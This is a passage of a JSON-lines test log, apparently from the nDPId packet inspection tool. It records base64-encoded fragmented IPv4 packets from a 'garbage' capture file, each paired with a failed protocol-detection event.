+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308936,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308950,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308963,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308975,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308987,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309000,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309012,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309024,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309035,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309049,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309061,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309074,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309085,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309097,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309108,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309123,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309136,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309148,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309160,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309175,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309218,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309230,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309242,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309254,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309267,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309279,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309294,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309306,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309318,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309330,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309341,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309356,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309368,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309381,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309393,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309405,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309417,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309429,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309441,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309453,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309464,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309476,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309488,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI 